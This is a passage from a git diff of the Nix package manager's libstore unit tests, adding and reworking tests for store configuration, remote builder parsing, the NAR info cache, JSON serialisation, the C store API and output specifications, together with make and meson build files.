+# include "args.hh" +# include "config-impl.hh" +# include "abstract-setting-to-json.hh" + +namespace nix { + +TEST(LocalStore, constructConfig_rootQueryParam) +{ + LocalStoreConfig config{ + "local", + "", + { + { + "root", + "/foo/bar", + }, + }, + }; + + EXPECT_EQ(config.rootDir.get(), std::optional{"/foo/bar"}); +} + +TEST(LocalStore, constructConfig_rootPath) +{ + LocalStoreConfig config{"local", "/foo/bar", {}}; + + EXPECT_EQ(config.rootDir.get(), std::optional{"/foo/bar"}); +} + +} // namespace nix +#endif diff --git a/tests/unit/libstore/local.mk b/tests/unit/libstore/local.mk new file mode 100644 index 000000000..8d3d6b0af --- /dev/null +++ b/tests/unit/libstore/local.mk @@ -0,0 +1,38 @@ +check: libstore-tests_RUN + +programs += libstore-tests + +libstore-tests_NAME = libnixstore-tests + +libstore-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libstore-tests.xml + +libstore-tests_DIR := $(d) + +ifeq ($(INSTALL_UNIT_TESTS), yes) + libstore-tests_INSTALL_DIR := $(checkbindir) +else + libstore-tests_INSTALL_DIR := +endif + +libstore-tests_SOURCES := $(wildcard $(d)/*.cc) + +libstore-tests_EXTRA_INCLUDES = \ + -I tests/unit/libstore-support \ + -I tests/unit/libutil-support \ + $(INCLUDE_libstore) \ + $(INCLUDE_libstorec) \ + $(INCLUDE_libutil) \ + $(INCLUDE_libutilc) + +libstore-tests_CXXFLAGS += $(libstore-tests_EXTRA_INCLUDES) + +libstore-tests_LIBS = \ + libstore-test-support libutil-test-support \ + libstore libstorec libutil libutilc + +libstore-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) + +ifdef HOST_WINDOWS + # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space + libstore-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024))) +endif diff --git a/src/libstore/tests/machines.cc b/tests/unit/libstore/machines.cc similarity index 51% rename from src/libstore/tests/machines.cc rename to tests/unit/libstore/machines.cc index f51052b14..2307f4d62 100644 --- a/src/libstore/tests/machines.cc +++ b/tests/unit/libstore/machines.cc @@ -1,43 +1,29 @@ #include "machines.hh" -#include "globals.hh" +#include "file-system.hh" +#include "util.hh" +#include "tests/characterization.hh" + +#include #include using testing::Contains; using testing::ElementsAre; -using testing::EndsWith; using testing::Eq; using testing::Field; using testing::SizeIs; -using nix::absPath; -using nix::FormatError; -using nix::getMachines; -using nix::Machine; -using nix::Machines; -using nix::pathExists; -using nix::Settings; -using nix::settings; - -class Environment : public ::testing::Environment { - public: - void SetUp() override { settings.thisSystem = "TEST_ARCH-TEST_OS"; } -}; - -testing::Environment* const foo_env = - testing::AddGlobalTestEnvironment(new Environment); +using namespace nix; TEST(machines, getMachinesWithEmptyBuilders) { - settings.builders = ""; - Machines actual = getMachines(); + auto actual = Machine::parseConfig({}, ""); ASSERT_THAT(actual, SizeIs(0)); } TEST(machines, getMachinesUriOnly) { - settings.builders = "nix@scratchy.labs.cs.uu.nl"; - Machines actual = getMachines(); + auto actual = Machine::parseConfig({"TEST_ARCH-TEST_OS"}, "nix@scratchy.labs.cs.uu.nl"); ASSERT_THAT(actual, SizeIs(1)); - EXPECT_THAT(actual[0], Field(&Machine::storeUri, Eq("ssh://nix@scratchy.labs.cs.uu.nl"))); + EXPECT_THAT(actual[0], Field(&Machine::storeUri, Eq(StoreReference::parse("ssh://nix@scratchy.labs.cs.uu.nl")))); EXPECT_THAT(actual[0], Field(&Machine::systemTypes, ElementsAre("TEST_ARCH-TEST_OS"))); EXPECT_THAT(actual[0], Field(&Machine::sshKey, SizeIs(0))); EXPECT_THAT(actual[0], Field(&Machine::maxJobs, Eq(1))); @@ -48,10 +34,9 @@ TEST(machines, getMachinesUriOnly) { } TEST(machines, getMachinesDefaults) { - settings.builders = "nix@scratchy.labs.cs.uu.nl - - - - - - -"; - Machines actual = getMachines(); + auto actual = Machine::parseConfig({"TEST_ARCH-TEST_OS"}, "nix@scratchy.labs.cs.uu.nl - - - - - - -"); ASSERT_THAT(actual, SizeIs(1)); - EXPECT_THAT(actual[0], Field(&Machine::storeUri, Eq("ssh://nix@scratchy.labs.cs.uu.nl"))); + EXPECT_THAT(actual[0], Field(&Machine::storeUri, Eq(StoreReference::parse("ssh://nix@scratchy.labs.cs.uu.nl")))); EXPECT_THAT(actual[0], Field(&Machine::systemTypes, ElementsAre("TEST_ARCH-TEST_OS"))); EXPECT_THAT(actual[0], Field(&Machine::sshKey, SizeIs(0))); EXPECT_THAT(actual[0], Field(&Machine::maxJobs, Eq(1))); @@ -61,29 +46,38 @@ TEST(machines, getMachinesDefaults) { EXPECT_THAT(actual[0], Field(&Machine::sshPublicHostKey, SizeIs(0))); } +MATCHER_P(AuthorityMatches, authority, "") { + *result_listener + << "where the authority of " + << arg.render() + << " is " + << authority; + auto * generic = std::get_if(&arg.variant); + if (!generic) return false; + return generic->authority == authority; +} + TEST(machines, getMachinesWithNewLineSeparator) { - settings.builders = "nix@scratchy.labs.cs.uu.nl\nnix@itchy.labs.cs.uu.nl"; - Machines actual = getMachines(); + auto actual = Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl\nnix@itchy.labs.cs.uu.nl"); ASSERT_THAT(actual, SizeIs(2)); - EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, EndsWith("nix@scratchy.labs.cs.uu.nl")))); - EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, EndsWith("nix@itchy.labs.cs.uu.nl")))); + EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl")))); + EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@itchy.labs.cs.uu.nl")))); } TEST(machines, getMachinesWithSemicolonSeparator) { - settings.builders = "nix@scratchy.labs.cs.uu.nl ; nix@itchy.labs.cs.uu.nl"; - Machines actual = getMachines(); + auto actual = Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl ; nix@itchy.labs.cs.uu.nl"); EXPECT_THAT(actual, SizeIs(2)); - EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, EndsWith("nix@scratchy.labs.cs.uu.nl")))); - EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, EndsWith("nix@itchy.labs.cs.uu.nl")))); + EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl")))); + EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@itchy.labs.cs.uu.nl")))); } TEST(machines, getMachinesWithCorrectCompleteSingleBuilder) { - settings.builders = "nix@scratchy.labs.cs.uu.nl i686-linux " - "/home/nix/.ssh/id_scratchy_auto 8 3 kvm " - "benchmark SSH+HOST+PUBLIC+KEY+BASE64+ENCODED=="; - Machines actual = getMachines(); + auto actual = Machine::parseConfig({}, + "nix@scratchy.labs.cs.uu.nl i686-linux " + "/home/nix/.ssh/id_scratchy_auto 8 3 kvm " + "benchmark SSH+HOST+PUBLIC+KEY+BASE64+ENCODED=="); ASSERT_THAT(actual, SizeIs(1)); - EXPECT_THAT(actual[0], Field(&Machine::storeUri, EndsWith("nix@scratchy.labs.cs.uu.nl"))); + EXPECT_THAT(actual[0], Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl"))); EXPECT_THAT(actual[0], Field(&Machine::systemTypes, ElementsAre("i686-linux"))); EXPECT_THAT(actual[0], Field(&Machine::sshKey, Eq("/home/nix/.ssh/id_scratchy_auto"))); EXPECT_THAT(actual[0], Field(&Machine::maxJobs, Eq(8))); @@ -95,13 +89,12 @@ TEST(machines, getMachinesWithCorrectCompleteSingleBuilder) { TEST(machines, getMachinesWithCorrectCompleteSingleBuilderWithTabColumnDelimiter) { - settings.builders = + auto actual = Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl\ti686-linux\t/home/nix/.ssh/" "id_scratchy_auto\t8\t3\tkvm\tbenchmark\tSSH+HOST+PUBLIC+" - "KEY+BASE64+ENCODED=="; - Machines actual = getMachines(); + "KEY+BASE64+ENCODED=="); ASSERT_THAT(actual, SizeIs(1)); - EXPECT_THAT(actual[0], Field(&Machine::storeUri, EndsWith("nix@scratchy.labs.cs.uu.nl"))); + EXPECT_THAT(actual[0], Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl"))); EXPECT_THAT(actual[0], Field(&Machine::systemTypes, ElementsAre("i686-linux"))); EXPECT_THAT(actual[0], Field(&Machine::sshKey, Eq("/home/nix/.ssh/id_scratchy_auto"))); EXPECT_THAT(actual[0], Field(&Machine::maxJobs, Eq(8))); @@ -112,58 +105,61 @@ TEST(machines, } TEST(machines, getMachinesWithMultiOptions) { - settings.builders = "nix@scratchy.labs.cs.uu.nl Arch1,Arch2 - - - " - "SupportedFeature1,SupportedFeature2 " - "MandatoryFeature1,MandatoryFeature2"; - Machines actual = getMachines(); + auto actual = Machine::parseConfig({}, + "nix@scratchy.labs.cs.uu.nl Arch1,Arch2 - - - " + "SupportedFeature1,SupportedFeature2 " + "MandatoryFeature1,MandatoryFeature2"); ASSERT_THAT(actual, SizeIs(1)); - EXPECT_THAT(actual[0], Field(&Machine::storeUri, EndsWith("nix@scratchy.labs.cs.uu.nl"))); + EXPECT_THAT(actual[0], Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl"))); EXPECT_THAT(actual[0], Field(&Machine::systemTypes, ElementsAre("Arch1", "Arch2"))); EXPECT_THAT(actual[0], Field(&Machine::supportedFeatures, ElementsAre("SupportedFeature1", "SupportedFeature2"))); EXPECT_THAT(actual[0], Field(&Machine::mandatoryFeatures, ElementsAre("MandatoryFeature1", "MandatoryFeature2"))); } TEST(machines, getMachinesWithIncorrectFormat) { - settings.builders = "nix@scratchy.labs.cs.uu.nl - - eight"; - EXPECT_THROW(getMachines(), FormatError); - settings.builders = "nix@scratchy.labs.cs.uu.nl - - -1"; - EXPECT_THROW(getMachines(), FormatError); - settings.builders = "nix@scratchy.labs.cs.uu.nl - - 8 three"; - EXPECT_THROW(getMachines(), FormatError); - settings.builders = "nix@scratchy.labs.cs.uu.nl - - 8 -3"; - EXPECT_THROW(getMachines(), FormatError); - settings.builders = "nix@scratchy.labs.cs.uu.nl - - 8 3 - - BAD_BASE64"; - EXPECT_THROW(getMachines(), FormatError); + EXPECT_THROW( + Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl - - eight"), + FormatError); + EXPECT_THROW( + Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl - - -1"), + FormatError); + EXPECT_THROW( + Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl - - 8 three"), + FormatError); + EXPECT_THROW( + Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl - - 8 -3"), + UsageError); + EXPECT_THROW( + Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl - - 8 3 - - BAD_BASE64"), + FormatError); } TEST(machines, getMachinesWithCorrectFileReference) { - auto path = absPath("src/libstore/tests/test-data/machines.valid"); + auto path = absPath(getUnitTestData() + "/machines/valid"); ASSERT_TRUE(pathExists(path)); - settings.builders = std::string("@") + path; - Machines actual = getMachines(); + auto actual = Machine::parseConfig({}, "@" + path); ASSERT_THAT(actual, SizeIs(3)); - EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, EndsWith("nix@scratchy.labs.cs.uu.nl")))); - EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, EndsWith("nix@itchy.labs.cs.uu.nl")))); - EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, EndsWith("nix@poochie.labs.cs.uu.nl")))); + EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl")))); + EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@itchy.labs.cs.uu.nl")))); + EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@poochie.labs.cs.uu.nl")))); } TEST(machines, getMachinesWithCorrectFileReferenceToEmptyFile) { auto path = "/dev/null"; ASSERT_TRUE(pathExists(path)); - settings.builders = std::string("@") + path; - Machines actual = getMachines(); + auto actual = Machine::parseConfig({}, std::string{"@"} + path); ASSERT_THAT(actual, SizeIs(0)); } TEST(machines, getMachinesWithIncorrectFileReference) { - settings.builders = std::string("@") + absPath("/not/a/file"); - Machines actual = getMachines(); + auto actual = Machine::parseConfig({}, "@" + absPath("/not/a/file")); ASSERT_THAT(actual, SizeIs(0)); } TEST(machines, getMachinesWithCorrectFileReferenceToIncorrectFile) { - settings.builders = std::string("@") + absPath("src/libstore/tests/test-data/machines.bad_format"); - EXPECT_THROW(getMachines(), FormatError); + EXPECT_THROW( + Machine::parseConfig({}, "@" + absPath(getUnitTestData() + "/machines/bad_format")), + FormatError); } diff --git a/tests/unit/libstore/meson.build b/tests/unit/libstore/meson.build new file mode 100644 index 000000000..3b36cd62f --- /dev/null +++ b/tests/unit/libstore/meson.build @@ -0,0 +1,105 @@ +project('nix-store-tests', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +subdir('build-utils-meson/deps-lists') + +deps_private_maybe_subproject = [ + dependency('nix-store'), + dependency('nix-store-c'), + dependency('nix-store-test-support'), +] +deps_public_maybe_subproject = [ +] +subdir('build-utils-meson/subprojects') + +subdir('build-utils-meson/threads') + +subdir('build-utils-meson/export-all-symbols') + +sqlite = dependency('sqlite3', 'sqlite', version : '>=3.6.19') +deps_private += sqlite + +rapidcheck = dependency('rapidcheck') +deps_private += rapidcheck + +gtest = dependency('gtest', main : true) +deps_private += gtest + +gtest = dependency('gmock') +deps_private += gtest + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', + '-include', 'config-store.hh', + '-include', 'config-util.h', + '-include', 'config-store.h', + language : 'cpp', +) + +subdir('build-utils-meson/diagnostics') + +sources = files( + 'common-protocol.cc', + 'content-address.cc', + 'derivation-advanced-attrs.cc', + 'derivation.cc', + 'derived-path.cc', + 'downstream-placeholder.cc', + 'http-binary-cache-store.cc', + 'legacy-ssh-store.cc', + 'local-binary-cache-store.cc', + 'local-overlay-store.cc', + 'local-store.cc', + 'machines.cc', + 'nar-info-disk-cache.cc', + 'nar-info.cc', + 'nix_api_store.cc', + 'outputs-spec.cc', + 'path-info.cc', + 'path.cc', + 'references.cc', + 's3-binary-cache-store.cc', + 'serve-protocol.cc', + 'ssh-store.cc', + 'store-reference.cc', + 'uds-remote-store.cc', + 'worker-protocol.cc', +) + +include_dirs = [include_directories('.')] + + +this_exe = executable( + meson.project_name(), + sources, + dependencies : deps_private_subproject + deps_private + deps_other, + include_directories : include_dirs, + # TODO: -lrapidcheck, see ../libutil-support/build.meson + link_args: linker_export_flags + ['-lrapidcheck'], + # get main from gtest + install : true, +) + +test( + meson.project_name(), + this_exe, + env : { + '_NIX_TEST_UNIT_DATA': meson.current_source_dir() / 'data', + }, + protocol : 'gtest', +) diff --git a/tests/unit/libstore/nar-info-disk-cache.cc b/tests/unit/libstore/nar-info-disk-cache.cc new file mode 100644 index 000000000..b4bdb8329 --- /dev/null +++ b/tests/unit/libstore/nar-info-disk-cache.cc @@ -0,0 +1,123 @@ +#include "nar-info-disk-cache.hh" + +#include +#include +#include "sqlite.hh" +#include + + +namespace nix { + +TEST(NarInfoDiskCacheImpl, create_and_read) { + // This is a large single test to avoid some setup overhead. + + int prio = 12345; + bool wantMassQuery = true; + + Path tmpDir = createTempDir(); + AutoDelete delTmpDir(tmpDir); + Path dbPath(tmpDir + "/test-narinfo-disk-cache.sqlite"); + + int savedId; + int barId; + SQLite db; + SQLiteStmt getIds; + + { + auto cache = getTestNarInfoDiskCache(dbPath); + + // Set up "background noise" and check that different caches receive different ids + { + auto bc1 = cache->createCache("https://bar", "/nix/storedir", wantMassQuery, prio); + auto bc2 = cache->createCache("https://xyz", "/nix/storedir", false, 12); + ASSERT_NE(bc1, bc2); + barId = bc1; + } + + // Check that the fields are saved and returned correctly. This does not test + // the select statement yet, because of in-memory caching. + savedId = cache->createCache("http://foo", "/nix/storedir", wantMassQuery, prio);; + { + auto r = cache->upToDateCacheExists("http://foo"); + ASSERT_TRUE(r); + ASSERT_EQ(r->priority, prio); + ASSERT_EQ(r->wantMassQuery, wantMassQuery); + ASSERT_EQ(savedId, r->id); + } + + // We're going to pay special attention to the id field because we had a bug + // that changed it. + db = SQLite(dbPath); + getIds.create(db, "select id from BinaryCaches where url = 'http://foo'"); + + { + auto q(getIds.use()); + ASSERT_TRUE(q.next()); + ASSERT_EQ(savedId, q.getInt(0)); + ASSERT_FALSE(q.next()); + } + + // Pretend that the caches are older, but keep one up to date, as "background noise" + db.exec("update BinaryCaches set timestamp = timestamp - 1 - 7 * 24 * 3600 where url <> 'https://xyz';"); + + // This shows that the in-memory cache works + { + auto r = cache->upToDateCacheExists("http://foo"); + ASSERT_TRUE(r); + ASSERT_EQ(r->priority, prio); + ASSERT_EQ(r->wantMassQuery, wantMassQuery); + } + } + + { + // We can't clear the in-memory cache, so we use a new cache object. This is + // more realistic anyway. + auto cache2 = getTestNarInfoDiskCache(dbPath); + + { + auto r = cache2->upToDateCacheExists("http://foo"); + ASSERT_FALSE(r); + } + + // "Update", same data, check that the id number is reused + cache2->createCache("http://foo", "/nix/storedir", wantMassQuery, prio); + + { + auto r = cache2->upToDateCacheExists("http://foo"); + ASSERT_TRUE(r); + ASSERT_EQ(r->priority, prio); + ASSERT_EQ(r->wantMassQuery, wantMassQuery); + ASSERT_EQ(r->id, savedId); + } + + { + auto q(getIds.use()); + ASSERT_TRUE(q.next()); + auto currentId = q.getInt(0); + ASSERT_FALSE(q.next()); + ASSERT_EQ(currentId, savedId); + } + + // Check that the fields can be modified, and the id remains the same + { + auto r0 = cache2->upToDateCacheExists("https://bar"); + ASSERT_FALSE(r0); + + cache2->createCache("https://bar", "/nix/storedir", !wantMassQuery, prio + 10); + auto r = cache2->upToDateCacheExists("https://bar"); + ASSERT_EQ(r->wantMassQuery, !wantMassQuery); + ASSERT_EQ(r->priority, prio + 10); + ASSERT_EQ(r->id, barId); + } + + // // Force update (no use case yet; we only retrieve cache metadata when stale based on timestamp) + // { + // cache2->createCache("https://bar", "/nix/storedir", wantMassQuery, prio + 20); + // auto r = cache2->upToDateCacheExists("https://bar"); + // ASSERT_EQ(r->wantMassQuery, wantMassQuery); + // ASSERT_EQ(r->priority, prio + 20); + // } + } +} + +} diff --git a/tests/unit/libstore/nar-info.cc b/tests/unit/libstore/nar-info.cc new file mode 100644 index 000000000..a6cb62de4 --- /dev/null +++ b/tests/unit/libstore/nar-info.cc @@ -0,0 +1,86 @@ +#include +#include + +#include "path-info.hh" +#include "nar-info.hh" + +#include "tests/characterization.hh" +#include "tests/libstore.hh" + +namespace nix { + +using nlohmann::json; + +class NarInfoTest : public CharacterizationTest, public LibStoreTest +{ + Path unitTestData = getUnitTestData() + "/nar-info"; + + Path goldenMaster(PathView testStem) const override { + return unitTestData + "/" + testStem + ".json"; + } +}; + +static NarInfo makeNarInfo(const Store & store, bool includeImpureInfo) { + NarInfo info = ValidPathInfo { + store, + "foo", + FixedOutputInfo { + .method = FileIngestionMethod::NixArchive, + .hash = hashString(HashAlgorithm::SHA256, "(...)"), + + .references = { + .others = { + StorePath { + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", + }, + }, + .self = true, + }, + }, + Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + }; + info.narSize = 34878; + if (includeImpureInfo) { + info.deriver = StorePath { + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", + }; + info.registrationTime = 23423; + info.ultimate = true; + info.sigs = { "asdf", "qwer" }; + + info.url = "nar/1w1fff338fvdw53sqgamddn1b2xgds473pv6y13gizdbqjv4i5p3.nar.xz"; + info.compression = "xz"; + info.fileHash = Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="); + info.fileSize = 4029176; + } + return info; +} + +#define JSON_TEST(STEM, PURE) \ + TEST_F(NarInfoTest, NarInfo_ ## STEM ## _from_json) { \ + readTest(#STEM, [&](const auto & encoded_) { \ + auto encoded = json::parse(encoded_); \ + auto expected = makeNarInfo(*store, PURE); \ + NarInfo got = NarInfo::fromJSON( \ + *store, \ + expected.path, \ + encoded); \ + ASSERT_EQ(got, expected); \ + }); \ + } \ + \ + TEST_F(NarInfoTest, NarInfo_ ## STEM ## _to_json) { \ + writeTest(#STEM, [&]() -> json { \ + return makeNarInfo(*store, PURE) \ + .toJSON(*store, PURE, HashFormat::SRI); \ + }, [](const auto & file) { \ + return json::parse(readFile(file)); \ + }, [](const auto & file, const auto & got) { \ + return writeFile(file, got.dump(2) + "\n"); \ + }); \ + } + +JSON_TEST(pure, false) +JSON_TEST(impure, true) + +} diff --git a/tests/unit/libstore/nix_api_store.cc b/tests/unit/libstore/nix_api_store.cc new file mode 100644 index 000000000..7c6ec0780 --- /dev/null +++ b/tests/unit/libstore/nix_api_store.cc @@ -0,0 +1,89 @@ +#include "nix_api_util.h" +#include "nix_api_util_internal.h" +#include "nix_api_store.h" +#include "nix_api_store_internal.h" + +#include "tests/nix_api_store.hh" +#include "tests/string_callback.hh" + +namespace nixC { + +std::string PATH_SUFFIX = "/g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-name"; + +TEST_F(nix_api_util_context, nix_libstore_init) +{ + auto ret = nix_libstore_init(ctx); + ASSERT_EQ(NIX_OK, ret); +} + +TEST_F(nix_api_store_test, nix_store_get_uri) +{ + std::string str; + auto ret = nix_store_get_uri(ctx, store, OBSERVE_STRING(str)); + ASSERT_EQ(NIX_OK, ret); + ASSERT_STREQ("local", str.c_str()); +} + +TEST_F(nix_api_store_test, InvalidPathFails) +{ + nix_store_parse_path(ctx, store, "invalid-path"); + ASSERT_EQ(ctx->last_err_code, NIX_ERR_NIX_ERROR); +} + +TEST_F(nix_api_store_test, ReturnsValidStorePath) +{ + StorePath * result = nix_store_parse_path(ctx, store, (nixStoreDir + PATH_SUFFIX).c_str()); + ASSERT_NE(result, nullptr); + ASSERT_STREQ("name", result->path.name().data()); + ASSERT_STREQ(PATH_SUFFIX.substr(1).c_str(), result->path.to_string().data()); +} + +TEST_F(nix_api_store_test, SetsLastErrCodeToNixOk) +{ + nix_store_parse_path(ctx, store, (nixStoreDir + PATH_SUFFIX).c_str()); + ASSERT_EQ(ctx->last_err_code, NIX_OK); +} + +TEST_F(nix_api_store_test, DoesNotCrashWhenContextIsNull) +{ + ASSERT_NO_THROW(nix_store_parse_path(ctx, store, (nixStoreDir + PATH_SUFFIX).c_str())); +} + +TEST_F(nix_api_store_test, get_version) +{ + std::string str; + auto ret = nix_store_get_version(ctx, store, OBSERVE_STRING(str)); + ASSERT_EQ(NIX_OK, ret); + ASSERT_STREQ(PACKAGE_VERSION, str.c_str()); +} + +TEST_F(nix_api_util_context, nix_store_open_dummy) +{ + nix_libstore_init(ctx); + Store * store = nix_store_open(ctx, "dummy://", nullptr); + ASSERT_EQ(NIX_OK, ctx->last_err_code); + ASSERT_STREQ("dummy", store->ptr->getUri().c_str()); + + std::string str; + nix_store_get_version(ctx, store, OBSERVE_STRING(str)); + ASSERT_STREQ("", str.c_str()); + + nix_store_free(store); +} + +TEST_F(nix_api_util_context, nix_store_open_invalid) +{ + nix_libstore_init(ctx); + Store * store = nix_store_open(ctx, "invalid://", nullptr); + ASSERT_EQ(NIX_ERR_NIX_ERROR, ctx->last_err_code); + ASSERT_EQ(nullptr, store); + nix_store_free(store); +} + +TEST_F(nix_api_store_test, nix_store_is_valid_path_not_in_store) +{ + StorePath * path = nix_store_parse_path(ctx, store, (nixStoreDir + PATH_SUFFIX).c_str()); + ASSERT_EQ(false, nix_store_is_valid_path(ctx, store, path)); +} + +} diff --git a/tests/unit/libstore/outputs-spec.cc b/tests/unit/libstore/outputs-spec.cc new file mode 100644 index 000000000..63cde681b --- /dev/null +++ b/tests/unit/libstore/outputs-spec.cc @@ -0,0 +1,212 @@ +#include "tests/outputs-spec.hh" + +#include +#include +#include + +namespace nix { + +TEST(OutputsSpec, no_empty_names) { + ASSERT_DEATH(OutputsSpec::Names { std::set { } }, ""); +} + +#define TEST_DONT_PARSE(NAME, STR) \ + TEST(OutputsSpec, bad_ ## NAME) { \ + std::optional OutputsSpecOpt = \ + OutputsSpec::parseOpt(STR); \ + ASSERT_FALSE(OutputsSpecOpt); \ + } + +TEST_DONT_PARSE(empty, "") +TEST_DONT_PARSE(garbage, "&*()") +TEST_DONT_PARSE(double_star, "**") +TEST_DONT_PARSE(star_first, "*,foo") +TEST_DONT_PARSE(star_second, "foo,*") + +#undef TEST_DONT_PARSE + +TEST(OutputsSpec, all) { + std::string_view str = "*"; + OutputsSpec expected = OutputsSpec::All { }; + ASSERT_EQ(OutputsSpec::parse(str), expected); + ASSERT_EQ(expected.to_string(), str); +} + +TEST(OutputsSpec, names_out) { + std::string_view str = "out"; + OutputsSpec expected = OutputsSpec::Names { "out" }; + ASSERT_EQ(OutputsSpec::parse(str), expected); + ASSERT_EQ(expected.to_string(), str); +} + +TEST(OutputsSpec, names_underscore) { + std::string_view str = "a_b"; + OutputsSpec expected = OutputsSpec::Names { "a_b" }; + ASSERT_EQ(OutputsSpec::parse(str), expected); + ASSERT_EQ(expected.to_string(), str); +} + +TEST(OutputsSpec, names_numberic) { + std::string_view str = "01"; + OutputsSpec expected = OutputsSpec::Names { "01" }; + ASSERT_EQ(OutputsSpec::parse(str), expected); + ASSERT_EQ(expected.to_string(), str); +} + +TEST(OutputsSpec, names_out_bin) { + OutputsSpec expected = OutputsSpec::Names { "out", "bin" }; + ASSERT_EQ(OutputsSpec::parse("out,bin"), expected); + // N.B. This normalization is OK. + ASSERT_EQ(expected.to_string(), "bin,out"); +} + +#define TEST_SUBSET(X, THIS, THAT) \ + X((OutputsSpec { THIS }).isSubsetOf(THAT)); + +TEST(OutputsSpec, subsets_all_all) { + TEST_SUBSET(ASSERT_TRUE, OutputsSpec::All { }, OutputsSpec::All { }); +} + +TEST(OutputsSpec, subsets_names_all) { + TEST_SUBSET(ASSERT_TRUE, OutputsSpec::Names { "a" }, OutputsSpec::All { }); +} + +TEST(OutputsSpec, subsets_names_names_eq) { + TEST_SUBSET(ASSERT_TRUE, OutputsSpec::Names { "a" }, OutputsSpec::Names { "a" }); +} + +TEST(OutputsSpec, subsets_names_names_noneq) { + TEST_SUBSET(ASSERT_TRUE, OutputsSpec::Names { "a" }, (OutputsSpec::Names { "a", "b" })); +} + +TEST(OutputsSpec, not_subsets_all_names) { + TEST_SUBSET(ASSERT_FALSE, OutputsSpec::All { }, OutputsSpec::Names { "a" }); +} + +TEST(OutputsSpec, not_subsets_names_names) { + TEST_SUBSET(ASSERT_FALSE, (OutputsSpec::Names { "a", "b" }), (OutputsSpec::Names { "a" })); +} + +#undef TEST_SUBSET + +#define TEST_UNION(RES, THIS, THAT) \ + ASSERT_EQ(OutputsSpec { RES }, (OutputsSpec { THIS }).union_(THAT)); + +TEST(OutputsSpec, union_all_all) { + TEST_UNION(OutputsSpec::All { }, OutputsSpec::All { }, OutputsSpec::All { }); +} + +TEST(OutputsSpec, union_all_names) { + TEST_UNION(OutputsSpec::All { }, OutputsSpec::All { }, OutputsSpec::Names { "a" }); +} + +TEST(OutputsSpec, union_names_all) { + TEST_UNION(OutputsSpec::All { }, OutputsSpec::Names { "a" }, OutputsSpec::All { }); +} + +TEST(OutputsSpec, union_names_names) { + TEST_UNION((OutputsSpec::Names { "a", "b" }), OutputsSpec::Names { "a" }, OutputsSpec::Names { "b" }); +} + +#undef TEST_UNION + +#define TEST_DONT_PARSE(NAME, STR) \ + TEST(ExtendedOutputsSpec, bad_ ## NAME) { \ + std::optional extendedOutputsSpecOpt = \ + ExtendedOutputsSpec::parseOpt(STR); \ + ASSERT_FALSE(extendedOutputsSpecOpt); \ + } + +TEST_DONT_PARSE(carot_empty, "^") +TEST_DONT_PARSE(prefix_carot_empty, "foo^") +TEST_DONT_PARSE(garbage, "^&*()") +TEST_DONT_PARSE(double_star, "^**") +TEST_DONT_PARSE(star_first, "^*,foo") +TEST_DONT_PARSE(star_second, "^foo,*") + +#undef TEST_DONT_PARSE + +TEST(ExtendedOutputsSpec, defeault) { + std::string_view str = "foo"; + auto [prefix, extendedOutputsSpec] = ExtendedOutputsSpec::parse(str); + ASSERT_EQ(prefix, "foo"); + ExtendedOutputsSpec expected = ExtendedOutputsSpec::Default { }; + ASSERT_EQ(extendedOutputsSpec, expected); + ASSERT_EQ(std::string { prefix } + expected.to_string(), str); +} + +TEST(ExtendedOutputsSpec, all) { + std::string_view str = "foo^*"; + auto [prefix, extendedOutputsSpec] = ExtendedOutputsSpec::parse(str); + ASSERT_EQ(prefix, "foo"); + ExtendedOutputsSpec expected = OutputsSpec::All { }; + ASSERT_EQ(extendedOutputsSpec, expected); + ASSERT_EQ(std::string { prefix } + expected.to_string(), str); +} + +TEST(ExtendedOutputsSpec, out) { + std::string_view str = "foo^out"; + auto [prefix, extendedOutputsSpec] = ExtendedOutputsSpec::parse(str); + ASSERT_EQ(prefix, "foo"); + ExtendedOutputsSpec expected = OutputsSpec::Names { "out" }; + ASSERT_EQ(extendedOutputsSpec, expected); + 